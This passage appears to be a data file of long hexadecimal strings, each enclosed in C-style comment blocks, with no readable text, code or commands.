febeacc88ebff2cbe5c47f045b24cd2f05e2c63dd4c6c4d8c6ea843132e74ebb5c9ee50865d611378b5f1a16ae35ea8289174b51748e24c41d2f7201324e2b4936335bf75eeacbdaee64c0415a86b110cfc8db3fc3d9eb2edb47d632962beae602fbbbbb832b1a440c9b57325351db3548e38bfd71e46b138d985d567b696b46e1761a9b81a758bf9761934aa45c2d0d87a105b2eabeda5d342eaca6f7e614996f578ed8f73a6e4ab9a116e03db3d4cbc1bf8a6b45fa2a0f8a0c9819e02db2da5e33d7267a4869e33053f05708edab5efa9a4c42bf4c76b5889dafb819da772dca3f013ce4acef6cfa8e9d7a1b313ac4840cb15ed25c2c15cfb5a34c6c85c1a96899c524320a7d7fc4a67aba44237312eaaf9d07011a5b88068395c0b51804bbff0fd2096e67859a348f3f6ebafda14b0dde4905399d734d4d495d73f29bb3ffec34dafc387f740d7d76e154c9cd17b0ab09aa7546c284eeee0bc9f7bb5706225147d12bbd87bf168d3ee54e92985d84fa67d5d86c6c36087c07ec798ad65276d91b8a9d9459096322df2a20d5506119c05e54388a901b79ed3fd20ee7a036f06ee96222cb456970a55db1818c5434b04648d5d5ba5854ab*/
/*5b78662de957da3b48ade75efe70ddbbf6e70755e3df2592d4395ab2528be3a3a1ddcf85bc66de4775b9854f5dd15197389f7b1996acd498e28eaf52e80717181c7218b6d6d0073709005d4198ec47c0b8d38a59a251dcc1fa6ddfbb1d219e8d8ff13e425953a29eace54367e327fbee51e467ff7a06226f99fff11a6645d15efac5d8787035b408f0bfb5946570d2c861075cd7087edfdb1e813e19493d18da8a63628aa3a3ad692dc9e3db1a254ab919d4e29352e042a6f1b20b22178f0d4fd9a6f70adc565b6fd612b7f7a8c4aa8b4f3418488fac02c8ff41225a0b8762a28fb2436ed31b26f2a30eb34bab3a2a2a72e3bb073628acf996f8c1845b2b6253585cdc28ac8aea8fa2e18bac3a5e1a6db641e48cbea332d3f41b94f329bef2e348e15bab49944ff7630c8fa76da1f7d0e5163453d5683ac6fed885b43bf301b0938658c23c876615cf7b87fd4045ae4a5c432be3cf402936ac39ae353737b967a78ccda8bffc65b322c44a6f0503e85e1cfe4bd20feac16a73d0ab558c09ab57f21fa5db200ca31a1c1400c0824cf44fb02c7ed35d9cf0a5d75f56eb0a0d5a3b5f07b61d0b85254c9574a8d8471a389befaf72713ef9c795fd42f06b113b148e01071af26d554b7cc6486efb86729164c2e53483009dad64bb7183a5d19c7f27cd71ad369bcb991d5bb1fd85aa86fed2300b93473c96b9e119f6adacfd58336e3beb73b90f553a44bbb5d772db8bc1e02e14723929d01c1d82a10cc4ec9bda488159f005352bc77a23e7de7cfbae52f0ed3cad9cecb021e17b60f3c52717b7fe570c18b2f77784cee8a48bbb3933c99e91dce1d154fbfcc9b4eb72944760fb366a33229165de314f0e26b3265ae6ec5c7934bb39a0b8f4fb6314a51c1965c8814a15ae795d6077f53724297dc8c6a5d06514b3f28520f3cbac5fbb607c5daa728e0da85483c7dc2e3a86438d00b84d67f3f081f91099f3a1fb8a93dd56475008fed08e61addc811f7a97f135a08804ed79d87551c8f3e179e5fa4becd7b2003cf52c4bc48521fd01e8938778b2e31e26b27700a207c0dd744766674efa12efc2cfc7df25e4ae811e471cf17a9c8ad90e1a62849f17d99c4ad312287acfe81c6589c12b06f07a1c053e6d77157f9bfe0058dc324e2b212acbe7158cf8cc94f7199d8653be50ae2e659b0a72f73cf14c1e2d148bd47883bbfb617063d58d6d1c38a0ab7e4d9423b5892f6e89029b63ae461603d5d7fec6899c8c5b5af16abce965a1f73ea93f49ee7d064a6d3f2bbf034822c0868a7684d6330ac27cfcaca641b3c4c569073f2f511bca3386adcd826ea57a5b8860324f042070ad6686ef3498282b7add1602768e86d5e9b321bf7ccc79d28dc0a42340baac8fe7420fddc10b2430c31b9069143801e5a63da353cc17af5f857035c289bafb26161e960f38bb95c603565d97931a487c117ca3b68019e88786a44c40e73492b18148a81cafc47401be849d17081fb049112cb0b75ba2c8e4e636f65d6f2d9a022f5ef5e38d478b38f1560696f4e8ebe620cbd90ff1f037936581d0a9ca27cb5ea35ee54c3975f24695e02837dab11d0edecda604248cd410ae7ad8bab8cc53ed0c20ad17f44d21c8c898ae2e72a9d532c6c859b897cf40dfb1785f297c1c4a1ab7cfcdef6bea7d9c91931366475879f9215755ca22e1495770623e6ab67d4ca7d1a9dcdc06eaea236c0691d96c5cf3ca7e9fc3dced48b1f85b29e74dadadd58cbb669f70669b2aa85e25e41038b3faa8b52bde8db364075cf72da7a21e23918c0ae6108463ce8ec769bfccf2c0facb67747c278080fada3a4168e84bbfe033923fb1f7972ddb0f43fdf0dc35ae6e9b67a227e616c93af69348282bfde7cd4fba0bda0b79d15c6d13b131df71e7e59fec1b772f9088aae58abd7b953e7eff5d2f7ba81f46797ed90e92f766374efb02e700b97c222139621d60a6814ebdd2c507b8806d3af34897d183aecbe3022ec34406c6ea4b19323e8ebcf94b8e36fc6c033d209bbeb468308159af73d5abd18c427b26ca7a8bd5453f94c9fbf6cf6e63bb5a236df9e9765d7585c91b8c8a6344538032ef6a1bc961e3b17b9a070eaf5cfa5699f1c968cdcae8393289a44313d300f1338e3aa1cf40d2de70c867e7c0bcc0d0c29b31883ed91df0f93fe346275ffca1407ba9af5a39e21135269f3758f2658ee752aed293bf74935424a0e70d041fb7c443e882e90454fef8b0269000e5f708a3e63dfb8bacef5520be84f6c303e89e27a52f8f6b064aa233253556b02b96a0e5437fffb46cb58f68fa68ea1a036073ef758dccf90bfa1e84bacc3c23b6de2c79efb8707d0e50fb91436b7c9473f7a7f68419901c842b1f385d27bb9a11002b411649a824184cdee1c451effb135143a683dc39aa5616a12d8a6d2ee0480784c59d7a1d7e07901d20063e0b3d4e531d89ca57e5f51cc8c8e1e0c6f8c978e063cb597345b0da2081daba328bf916aadddfc33a121109e97ff2ca8f167e488d799de5a679721c2e6306152f979c08dde25bdd977b689bb1c18cd4a5de3b71c0288c6cdeb956ea526cc5f5dd23781f3a5360bc8ae940eb8d82ce8e2928e58c1dac4d4fe7313f8124c4d4102239512bc820a8014b0c4b23e6dcda5f9ee11ca708057f749709e6edbee70d141c3c5f1d4fce9fe60ffc5356d921d8e6aa170fdf5ad9df555d63f74014a71d2759c4578c6c8439a44d718605705deefdb630cc59906a37effa483cef3db51fd8bfb0a9f41621429cd6e24975c71c91fbcfbed7a1bb0d5a8ec9e345e751fc29df24ea88c71221c52eb5ddb2c2*/
/*e440a6363b6c4063483904cc38ca19ef5d0a61d604313ff69c7f6827708985495b52fb19b1cc1c7b37c4bfde0faf94a663c7a9fc7a21ab6939071e85c694687e5af88b54cc8bea0416052467299e9f2a16053ec14f5cc3ca10b0a3495a24f84ee5b6e6a410c5a9c67c0065b2e4743b5d1a6b2210f202be1b4fd569c1e9d98ccb04611563eb948e36b8a7e46eecc0cb4f91b996410335dc231156d6c28a6bf92ddb56a8074e3bc620176f804f4939963d8d1b0c4bb1a95af8719e2f80566eaf6bdcbc2bd798b7d4a964eecc10ff2d83f92f93d095039ac6ca4de426f89ad55e8b36eacadb69bd396df2dd79606dfe31fde367985723a1d93b06ae2a7a42879e45d2b7324d6a4621ebf53693b5c0b463e450399600c71d90d2990b906256338a4db2b759caad2cfa485f0ca9bd4fa75eee378cd99d2223b155488dc90565fcb39cfc3456324d71abc3ca1d5a340a1667eead97a5734141452e3f4950c69f3491e52147fb054fab72b7bea4cd6fcae97e4a9c7062a5f127a00e9a048ff2b2684f5f97acc656dfb0ca3a1f1e54ccc97c54d2037104b8729aa32db5cab355293593820b5d0ae76316bce2889efd820cb89e72e349c2fd7bdbf97fdc4986b9717128864795beb040d45b72e5482ed48daa9a13c8b60a72f6bcd88e716e052ff1d7add4e62ac3d5ba60613f7a1f8492364de955afe43ea32a5d3efbedafd0a540443589c274965fc97a1d1e9ff364b0bf8ef9ac011133e7eea7f1c5b9572d2a78046564ce9d808d1429418667a23c340e509308126a35bfb2727f03e5f2474dc3b31388f4c099473fde464417cb05b57b1c7e09b809f9adff0450737092321955293971e5ec9edd20e15d7bef5e1e8839cd8adf6d723602f421115cd0a81cf6e622634c35bcb3bcb2bed872893ccef802c57a649ff86342ef76ab9151380dfdbcdfe63d527c09e89db2fac22036a37c5ea04107ffafd78a32c087245d269f5f3cc93dc83b8d59406b6db99f13ae1e4559b7601726bee097b5aaac8a1ab15146e09cd805e75d4c12439a3f7ff0f7bd22ea32ce599a80f7ebd07e12e55b5b409c0261b2ab1c33469712a27e06e2d370085639759fd084eabb286bbb2405840b266e7b947039fd98d14aad04fbd3cd1d291038336a39bd36d98bc3e7c63cd9fd823b5742374f02d71d55b330dc4ceacd3c9dc3ee835560dd1c21dfe1dcf676fb15d1519c0f1e40343add78a3f836fdd53e7d9865c6b75ebfa2a51a7aeec07f79cd567c71c4ca5c78ac8a695ffaae81891177045d897b9bdaf5cef81dceddc16b4ea544131d6f75eca32f451093acfcba8a5eeb52d6ca76d377e6a975f59d16d7d77b7b1888be81c368565748a19dfeaaef6cf05d0cd1dfe009044573ad7a04ff5d3c542ace0a53ab727121a6ebcbc8ac10440b0079e5d68129483db9b8c34d6dc74acc6e09dedf8a5321631c7e6b051401e310408380b1c1ee8df852ebd007627409646ae7ced3dab0aac34335b64974e644d2521fa6aaf47cd39d54540b6ff7b6fe441162c3cdbfe8a57e3e083aaf1e48b0b1ee02b03ec7641dce317ba898dffe28e4713f90446a973f68e6c6af7a1b8fbd90d763ea7a5dc5c9e4627df581ba2200a83af7b7dec68af61aa1cae1bb3af4ca0a55cbfec9f7412bb0abb456803bb017775ee881fb42e17e958f20effc3a4fc217f147d3b63d398f305f1fa345e7e1471204e305fefb2e1be199a43d329e5420aab57c2e70143d6ef50e51db2ec3b95ce3294122b569cbf6389cad722c83cc42e354198cfffa9b1a36c942a50abb6f0c6c29506b3c43e80aef1d3d76f50e424aa4075ed885f296082a017821ebd3cacc59c6b1a02b521402eb552270abd0c8abcf5ef224e5fef9358e496951efec17a258f92c4d2b69cd6c2ecab24ff6568eda8faaef0faee9db5440ddd1fc3292b5ffac455a86f677865a1a86f6b19323f95d6c7100492c8b1d6620adeebe3c6e9812915c6195f4722e07c329887e3588c1723e22292f7a801aa54f15876867f285d90efa6afc1906ef99a215b59992a370eb38693d54397029f118ad6ed738647a34f4c07c8607fb73d3d2711033533ebbb8d932948ab52a79cec5f3e3e9b4966c21bcec9ace4fb6ea6eb15f61c6cd5456c495d138df3f34db1a9371490025a7b844ec42d829b2db8c832910ca8c63b0c714b81ba0bc29f157d489ea9871f98b9635fdfd513d174777cad99e72b1141bf5c6bdf4e63cb1335bb79104b21df0ae10339fafb469884938d7e32283284c68b0ce2b1bbb2447b190509b76ad94714e82d5dca48763b5725a49b2769a3abdc534e37c3e1e8fad4cf08f5e8d0285ecf71987890fec6231abb7cb3be99c79824023cd37de2571e9b8010715087d60ffe21bedb3088a0cff61f9d703bfff270f9748fb2b114b024d4a653f223e9ad6b283ac185d41b4bedbe1aef96d0974b6ed47ef12fb3b515ba0742eab18352ee254cfd7e40fc779c492a8a5dac1a750ed59674fd2fb7fa38765799fe04b5e86d290b23361ad1500903d0c4f1cea3094ca8d9cbe7b636fde03425b1a5d2459719bd3af3174e4fdca1b0580b79711c75524790d68b5195262846e6f64235f1b65ca71b3fe0c0b4b6cddc0b346d3473eb0d0c8b4435ef4916fc3805aede1bcae5b3ee7d26f14c39794d7c5dee5d72eac14796755fd52855f4ffd880ef96f87c42f51adc48cf89dd4069ff287529e986896f914bb6a4ca4d9b609d6256a26598f7e59fb2ad360db4888bd7edf3a54b71f34ce6f7db28d077c493c9582ed11239c40b7e38681ebea9b222d0f695eae0a00994041a032efb96f01*/
/*bf2df908e85ff430cdd93211b71f5b3c37be80c30b3fde8a74296ac4aa11eb1bbd44d3fedf65c87c524f8a2b993384ea13036c40cd56582fa08330b27993cdd2ec28d13536471640be75a02eaae7a994c06a8e8fb9dbf4e2020f37f118d836b18173733f602ed2d6c3cad0d23b263febd74ed57f13baed2c287e5333498799ed9cab7363820121add564740a1865728ddc2330965653f9de99dcbee5e2dfba3fbd87d48dc8781483aea362ddb6f700bae146c8d8979938f682459c43b31fd2e4f00dbbbb58154c822daeb6504daa99219e563a0d415e23b2e9327c296ffba51f6feb90273c1a82bea88c8b6b4bf7a1f8a42959877bb28d0055a9fa5ca8942dc14852d7a309438ad5cc69797e13f52e0f32926ed396d60d3c05fd08fab86ffaacc31325c9ba079739f4affb74fdfd2a58182a577bc45dc3199581cdd841412761f5c8ca3d38059bb61d63d859536418eace2fc043c16c754c700b2c78c9df38e1248b21c66b6961bc8fccd129619239e868deab1922321de58fb953ad1dc1b168c5559ccbb2a415bbc402583c8abebebeddba6277f57e23a8ec3664c81856a7fabbb87389ee3434ebab096a9cc9816bdbfc5f57306671655715673c82c410be2c0f9fb5ad476e4c18db9adb21dff347e91f28b3c890f7c50476626f7c887b857c37c53d19427b25c4f13863d5e19b1c4c288af276229f05d86c64622bfded3d7c9dbfc9e0ccad3cc160f3beb1a00a02b327dbd95bc597a2ef00c74713f712653ddbbf4c256bfe6803c99864eae1a59e7cba07eff91144ea7f8fcdc4f78c088489b770e90902bc0266f7acccbc8261653719c1c0c24e7fdb224c2652c58e16ef68161090bd2215df70248c526a303c70762bd4025694fc7cbae11f4f57ed3685437aa86aad8f9c992e9d2df5f8b10e7218b0d2b1d81aed1cbfe071b902918872b0fb0e6e469cc6eea4b4cc92f8aeeb9858541b4d20ff479a996dfea0e0de8641d3a1eeee46e8465aa74fa00d0dcea786ac4445d5ee2560d2f72de595e544d2cced1f5367469ac06aaac28f1e52cde3b5f034a0ce4f54905b6026dccbefb1a808061bcfcd545f26449c05efff7a4829ac6c2b588a3ad7b2c5d8cea5b5a7f4f1382791b955415eaf3947a6d93c2fdcd4853bdfdbab8859aa80bc573cdd3573bda7ef62a386cdb9c975c73b14e7f6c058ff10c326adb3b91c7a66aeb865b593d21cc8f54544bdd0324421ab1c98ff29fc941112f53fc334727fcf7777dec665cb21085c621f5ea042b26e7b4174fbbf8e3f2618dafc89c5e5e3f93f4967e91d9a76f34ce40230a429b514be7d4c06c560eb0920a92be43dd3a138e614a548c7e50d1865b5a5945e54c6c3ed93722e80bc981d14699685b5c4e9c28f6c9086f379215a28a26ede394e252f5f35097dc871f957414c6fdd2d6064f949fe085fa6aca263ea9dd1ce2bfe9b0f47d7221b80379a259213e566e44792424825c79ec2dce9a3ef626585824777f8b4cfa29e9630eb4c0cb25cf0c69af05a6b27c53b16c345b6f1f50fb64cb874d9ea1edf03aee47a2804151ec4d585903c5a9256b5f36afad7fed7c967fd04154fc3a7844a48486f80ab238f961e56a345106317f1fd57f3727c5e5d35defc178e4a1b004625c30199158fbbd8f575d0793844341a27c9c5b772568776853f08832b916dea792c8e2c913fca6d9729c7e9a718c45cf12c5feb4db3d53ad888d22160d99934f277f918d81b564b4879a86664bdbdd816966c0343c4ca2182ad1901c117dcad806a8f6b04c8b11ea154cc11352733a953b1952963a5a330165d5736e3a6ede91eaf76e692c07630b3758da177c5b33ffc2774c576d043e009bd3e9aea6f5e72ac2c9415e07173ded6c0653f5383e8365e9b9a651b43dda388942bfab4dd1d9bfdb81e4b7e43d5073953c70de9ffbc53943b22ea63b88ea20fa31f0a397968f20e672fac2ebfd3790a7f7289ed5aa76c7c7703cc0b9f6f9d11372b02d543830977307351e33f6821377ab267de47ed84cd51557fdc26177af8d9198cf0c30555030f9f348d88539d75a0b9e3830cbb5d9ac4c1b0d7c4920f1320771c4df9714b34d8dabba5c31cc5d497ca465405e54e7defb2babb746a9b9dd64a788b88693c1bb7ca234fd9e702bb655752b4b0e57225843927c2fd524821ef29c5e5b53e4959952262aac360fa650ed719679f98006856e488fb611d5b82b39bcb69d10a3b975687e57bc7f397a055984db0d173aa9d1e89711d4b745aeb1f596df178857802c1149ce7b0c4afe655af43caa8cc9d1bac2416e742681d666e06e196c4f3a9f5ecfc57cab1599b369d068a4814dff134c9d3df2619fc4b8780c80509c951741e80419655058251ed1a7193e048b984103cf6707e9b4bf2f747684abbb63ad0834e44e144c99d5da23b38f2b949dd4f7d1b568a7ea7d5588c772e985e4fe8d28748a16c94189479b47dd6c94142266e0b2fe404a6a9c65e15e8eac6ee1ad28b8596728ed8685e989abe84b500f44a7cb3ce662bc8928f10984b2ded72e5cb077e91bef81336b61e0eb3600e59d189c69240c9cb92f08b98baea8d1a178cd10a064456186dabdb93e2cc779646f86e02322e6254d05db20015d2615c4af2d5683144363ad7e0d7bb04e725ce87c01beafcf476933f6f1f613c49b86d3d1e668db16c24fa081ae6fca8bf1c465196449c2de134f1e68d4d0336df37e05218809217353b01939cb677a0aceded5a25dd83f813bbcb586cc391c623e097145c4725d4440b4211ebc8e55193295047b06d4a265a13d142b1ddaf7ee926424eacded25f10fbfb*/
/*d9b1f7bc9e758cab1301506d47ff4fe8aea9de1c5734047fce4533d9b4c84259f0bce207afbe079b445fc667f051f428e57bff39a7752acf237ce0fee8ec3f491a2f1a6ee21ccf382731fa0269fb66c826a2fe1cef3b6203e1ac1ec1e0a3e7824b1046d2ebc726218dd667e0aabe03ed6875465d6950ecfa18fb55509e6907b550721d0e0208573259bb5c3ddb9846105401621c453afcf3072e084310d7280f50dd9764a812d968ee9770eefe5df7e44447444f187d49dc6a08566559009296dcc1e5260551e8aaec77d0703a5a942c868656c883527d1857155bbcb0f9ae25e4e69c8f9d0e15beb81791a71997c3cc528277fe4eb31db0ae0a88ee6767b6dc0f4f5f6f80970b1b627e9c2ac5efec45de9d05217627f994ce2bc2f9aacb72a6eb391b2b4242162af86679184dedfb373d79f51ace156c83801b61d0f8cab7a5cd0c516681d7ff67c89502a4f60eeb101f5bbe6e67e86f4b864eae835abffafd30411798e58125f901cf30077ff62d2e8cc41fb77502fb203e85e0984bd92eef9812c22b2097b89fed3b3fe16bbe7b94f80e796c07a764cfa49ab6131b4572d20c146037a56d558fe5fee664cf226ea90ba2b93b0202851d743d46be5a4767832bb601f9bcc72d4d787152c86bdbcbcb09af961ec53ce25054878b8661a909dd75d8494f6812c3e75b463966d6cb46a7c2ac488af6a31894ddc1846562e1e6f23995d69ffb749672a9131edf76560cb2f17cb0967e8c152ac713e801be329d9f5cd29229244c399af066f64e5ad3d0e9536db617b3bea6c45cc418c20a9ac29ea63976bc8a7e140a2274b7c493eb8136496522c4a8e1beca30a751d836a3b3c6ad834a8ba0472f94ddd7040caec6465a26d0f7c96caec17ebde1d3a734b9bc3b396fdd4cf6cbe63e3d3c3340c8fc4c7aaa96a20ef3e6cf292afa324809331304ab4933910216801de7197381b4b36dba9df098cff27ccb3f16b4de9d9e9093562cb03019d856010d94c2f59fee0722385939ca613fe7f08d05f5260178272891d09d79027a735df47b9ea6426cdb2e7ad2521cf9f18f114b5cc7110f68bd20762180bb294074356a34aa9def896f6416beb668f9b07e1298d84ad7aedf2e34a3596b19a7114435dd37527df58ee1d37a62ce199234da7c2fd775d409e31d1e6d3926a363c6f285849f26b50687222ae610448a2f3d53435ffd6d37b2e6d4c87ca4722f446f68bab34427f770f5d887ed36c1e9e536eee1d3ce79c169c20f34c9be599f5a2de1d8984b4f503e250b51e22137195524c5ea3feceedbe44c1aeae0aeca4dd8bc7dacab4b2bcd7c9073a6c7577a3d353ed7e9e351c81ead47772a38e855eb3a8024fb118081876e8ea430afffbdd6897fcfc72a9b25650379547b6019b47a05d0a5c6510463a32b9bcf83327d10756dd19d022bea75403669cfb3fbf0a2f1d86fde71741d78dd70bdbc9a3102931d35a593b9233b376b435137088fc59152f34bba5cde20dde3f1a4299ae2ed766f2816cd814d0e5757c4c67f97d48a16a6938e00efffdec5c673063f0ed651113566e1cdc17f53b3e459be823b9278fb12f23dc6eff5af5e0678569cdfc68ea6d70adbc9ca3a723581fa4095e7afaafe8a9996c160f80802e79e375decc80f797d5becb6b8f07d57b2b81ec36e27a69e7d67d85cefaf712a0d23c7101f648dbba1cc4423275a3d9370cfab984beefe17127177def938f6a60feb40fe5eb8e1aff8b1bdab6bcba1acb79a29eb4099b42f68a0381656d361fd65c5722c0d3ea3bf989d2e614200dbf61db5f1b385e5ce162b0028b61da8fcd358409bd9e8bd1988b046d8813277c9c3833bdc6a5a6a37ef8abe01ad80e9e9fc0084d3fa88d460c62f44f5f425e3b8d4f99e1a5504076a0dec000b4d04e1abcafbdaa1fbc60d4ed537e830142783f95346f47dd281b7356cab069d43606ef55a6dc2f9b78a59e8f82d3b3dc1a2f55f3cb20540be8b2adddbe647c880c45c37f1e94edbb66c1155927a309321863a955357e0e853610a477c7e4c7664bb37e0211ed31ae26353901093da55be0f05bbfbf75f2d2b2a0df02ad22d428358d6363e9ecad522b430a55006ab5ad885933f2dc759722f69135d08dd29a012f4702c8c2daa5b7d19ce43ea67941b476437fabeb1ba4fa9cf5b8516c5d93dc96655afb174ffdd40fe985e72a83824fe2d4279472fb93f50cff5d8707543fad7f6bb6fe2ca07036b1e39abde162bf108b30bffa66f61ac71f895e6029c08e2f7a474cd3e5bd61781792990e1d27e5606b20079f50895f7d9eeb581ec34373085c8c5519bd99aca5e997e495e9ca7f8e306a1f26f38ead748a0331b63627b9af2945e41b250efa55b528ff028be9b6a18cfaa06ea4dd7361b83d7ae29bdae7dc82416a25a17fd939505331528c581203ddaa754c8dc30ff732e0dc11fd94b108bb0384c6f595902ce7806165de94ad1edbe767c15934180f2b282bf069cfce9d2a6efc623e1cdcb3d26cfd8d1e50a1b9afef4446f316c8cc8f014ee7fad4378c30bcb31881c2a9229be41096b10cd011e350050d37fdcd0c22adb815357c594c1a9ab71fb219860a4dfcf877bcb72ac682d1ad4dda6007cf0ef7cb5da402a44ec74e51e86c62ebb68b44cc54d4cef44fcf22fe91285898223e35d63397e60a15973c97126408ef706eccbf99248549ff805a90f91db63a798915f3da9e03757038c21f0988ad397a637fa2f2f01cf693bf6fd198e51634d805b6b999c05b1ca7cd73141ef967c1f78d060a5be16f49286e0c844e6f66e039567cc59a36e14af659c957152b7830e310c82*/
/*70a1d2b9b68434c7eec95471b5df173c313b0e40241178443b2eecbf1e36d87e07278aff0a691815168bef65e02895a4653c5c1b689a20693ed987780a7fdc2e43619b42874267036e17e9e95f80ce870e6cf9601cafd5681fa7ef197d1375c348cafa028325e5b22c928782a10a7cdb27fe7dc7b1ce007fed409416928ab75ad21705b7d78b9e79652d49d33d41b92a300213dc5d49a268d121d3515a7372c764c03773e6274f55c462043ad2fc7b5b3b4a2a6405a007f598e73c7f995c47705e2a70d62bbb217aedd4fdcbc260769c433e4151d6d7d400aaf72947a7581db9ba03c6d32064c7305150d0ca08fd504b8134b655afdb03111d789c698042a728d0b9e6a7ce196974fa7a89b367acd7a2ba1f3e3542557435166c8b8ddcd809a0954f140ee256e3b6bf3081781ba4b6a05096f161dd2eb43912fa273fcb4d0a055bd83b8d9f419a8340eb8dd927d776b45d1a6c79f467ef9d7f476011633798e3c039e9793fadf886b3a79066f55156bac1b8a753641a9e4120c65bc61b74dfba4d97c7ab7fc490546316e24cc7a8432ebb80367ade7e86dcc01b490a63df3a6e116d39a67f5d55edec269f0738fe2b900d9068c070efa73022710ffb05bc99f0d4d4254f4d8d1f623bb72a0b33f8547ca932d1b3abc93603d1b3d2208a8afcdc97ab50507faa1671582afde16a0f32d98bd0343d8d9fd127e10db4fe0a13aeaf4ab8812550d89d2b7c8c5b4b8783d54cd7a8ab37e88d7d4673f78cda8b37a0115eea4742766ed2dc1f0309e91496cc8f7c27e07a837e43259b04c00e8ed54e16a1421faca672aae8ba066cb305432b775cf1ee1142eafc0c4244014e3ca196ff2081fdc601a730a46f7f0a2f5bcf0a25365f301845eb2ab885b09ac8315690759fc776660e249a05e1b6bac7df84330c0acac12e7227d0a6fea84c8dfe4f03cddd6fe416048e256a1acfa58ed0314e304c3ab26eb96cd8064ad90ddfd8ef83a666c5dcbd01a55e4df3c5f548a656a1cfe8aafac9b1d49fa71662685413d138a038c2b372327b79f55cda0781ee270ba5037e2769026c582993e492d276faec4e462072be2a4460a727453ba9de828fec2fe3378cd94e38dd529ccad56aade24113960bc6e32d1a55a2afc3adec99f81a1902142b49d9343d350cc396a4ca843a0067447b3965b61690a2ded8ac0e0c725e05030dcfa7a597e7a5185bed2f546fda9f0c9381a47546640cedcf0696b964b7ab2577608a76de3c38d1eb71250bb75df8f033e70968bc5c03acb71bc89b1a494a84818c35131d08215cb0d29fcdb5ae15f2795c1c5f6498552318f5bf87e5cb251f2a85f7d7dbb8b2f07a67c5bd9279560606e0f0564efd985ed16c1551a4fa844508a8b6af293d5612307eb8d830333beadb155bdd37fd94636835c89dfba89b2c7946e1470c527c158796daef0317be908a3c50181c87c80568c89826f9064716509b6ee50f29de91f5fd5e450d5736a8e6f2771e8778c76cec83b10392a02a8d0b408867370d847970c26e5e6430378c31593595b693fad7ef7313ef331dfd256369321a6562676456f3e30529740fe20e819f1628db6adbb9a21501220031b2592fe4af3b95d550c2db341b4ad414c6b4f689a3fa41a6d972eb0232970e624cfa5284e13197383cc47ef3231fd6c7c4f4c87e9c412e46ccc2d046cb47082e6b24ac304fab37fe651130c90d0de48087bb49934279405f5f5fe8920df6a1b25693fd7356f16aa4734c58e50257fb2c11c3c71c18b7d470b396872090c462d6e069218766e60eb5ac8bac4de1a2dcca974c6de6ac7fb9db784f7f78dd94c7be334490fdf5d890bdcc33ee5ef77791b00395cc75210727a3e90d71f25003eaa531f3cec3e5bf9d769d74edf45efa7d6927b94dbb9c1544b5c027661befc2f1b6ad88339e7ade43ac1cc35eaa339b2a23bd41308013183a8d9f5d35de997a91952ddd3289d6ca3bb758535e8765668ab5449f3c7ff4239a203d8f4e0501bcde3a67d1ac36f7dd32ffa78197abb95a48e7431aef72ea014d190f243cd77517a5236f01898c726d76d48c243fb546f6b953c63e3e3bfae397b2c6ec11b864831aa7e6eafee549dcdf441ac7522c27f0cadb3778b15aa7f3b7687782d0e31afb3b4357074b09feb888ad584b643b6ff9f567c4ef6a87d08f89ac2dfa7f710169d8927dbc74ca2fbae4afef50a4b5f26556d6564d070402c51666f2c01b9cc00d21fd8a1f888a955d665ef823faeb5c0cfa94db5254d57805f9e9624f828d0068fba8bfc26daccea330854dfbe06d7ca69d05b87a3d01283dcb9641a8e2d77ca2a11200050246341831deeb204ee65b7702868780e5545248ade2b1b7b72527d4d5a865ba2acf4fe8baf8e79d3a842a9887b9e094c67904f8f287cbd375ffa010919ffb8f0bad063474be4020073318f46ef5cce28977fe87ea93f960d9b63aecba0437d36403e130e79826986a5b4fd61e5e85a04333d872a5ca0fb08c22b1a2e176add1ecc7ef63a55c9c44ca38417fa79b02b6749e1201df8e59b8044bcfffe9feff5c72a53f4217714e919f2d9b99f8e13f383198a8b8d8aa8438e97d9d19b293f3ee8ae689bf7ea1a4047994b7f1e86810ed0c6bcc882702a70de0ced75ee7a497f87f38a65212a11373068101f44da6d7e47a01ccbb047c7af8f085a2f0b596002f502e492ad8d7ae7942cbf64187264c09d360a0314256a80848977e09ad28eebb143bd15641a639762090a60409aa2cdc98ce5cb0782c631c8a45d706272a78edde2e5d5c60ae4e209b2dbca013d21773ccd21e84f8d5b4006868dc62*/
/*7cb21d0d0a7148f19a2b725acfbd8c4d443b177a6a10106f79251a8f4ec6a59386892cd61c78aadc68734f1584b41cc272df7ce0203ed88da7c315b2c4d24d392179cc6654b47cb72dbcb8f7aabcbd808a7eccde138e782cc7fdb6ea4a9d3ef20650529e9c478c67c1092b6b955e3b5d8f8ebc534e2cd7af290a314ba6aa77f61e81ef9faac4105dcdf4bc36b164b37a2f8a865641e0d27a3e57b7da3006ba5e0b44193b5b0038b4488715d92ba047383fefceb71f6604cd4a8de15494b7ab849ff2b7909fe67925eedf2d8e15df92f5709c8e1634c0fedd65527cb35a490ef661898487d6a34c7ce9d7b6481d539b71d8cfe3deab1ee53aeda40fa7be9010597598f01ad36bc8e5ade987378b4a64ddf956b794bb43477b6a2e3d3381307e268349f7e65e549f599ff7f1d2b09af79e69303e0ff5041d927f5ba5f39af0d7b08346df73acc705a5365cdae3e7394014af06b3af78bea9937af95d4502f445897fd9939ccb9f0e8323dd8b2319812bebee8f5944bccb9cfda3c858ce9cc99d52a4009e7f7c4d4bac8d4fc92035ffababcddc69d67b5863b84321c962cd28d4e8f38105572781ab200630ddc82014995eb30e3e68f445f568e8bb7c786c0de4aadace9fccc1aefb80b870c4fb2a1f4380572547043a73d4c7178041c5efc246c0fae57c0598094a8587e08f0c014c4b5b5c7fb350d1f47f93f2d729b5d54da063e9e4ed052d2623c85daa60be497f28a0a1cacbaf89bbbabfb913dfae76314e38f5484d44292f635cd0273ec9233eb35c5ef63f671e30640f056df0149e38976cd75c0bd58461b02bda0b5dcb36d3dbd0539b15f70960de309505492a51afed2beba159d05bd608b768a4adc347fb483c9a54c6bad24e7719cb8bde9f264493673812bd6f8b0466a279d062335d407bbb4d56d5fb276220e78c88a8630d6d8d65292030028dcb24115df4b4c2bfd6b08880ee4ca8eb0d768c89f8fc2dceb250af09c5335d147f12e4a056d8427009f0d947a4b043658d93df9699ce9fb7fa40d9ccacdf9695f7ddb57d984fb3dd6cc38113fba312eff23c566ff4352a739e6022262a21356cee2a239351cd8782975c79d95d65e0ae0009de568bd8ff1550a09631299bf4a431f9e6a2945d4eee5370b115e0610058d9dc5aad1d97fd1c310d1b68a7f42790d9ef4a98a47cc29c98b1b203e352a94ede994640ac3d9ed93d9b0f8b233c20dfb8877883fe4ee11201c96e071746250148b1936f851e0d76e60422b6848f72fb698876de086518fe3053cb17885ebd1e2d7554bb70a0d70e71a46794fe2e9878d49a30279efe15642bc47c8d48a6bc7a17a21b3a875e439a7a3499755635397934e5a8ac4aa7f1e789cceb74c3c40377d09db7b53fecccc1d96fc3b2f4aa6b1eabed57485d89ea58c5a0c5663202b007a059968c11ac0a1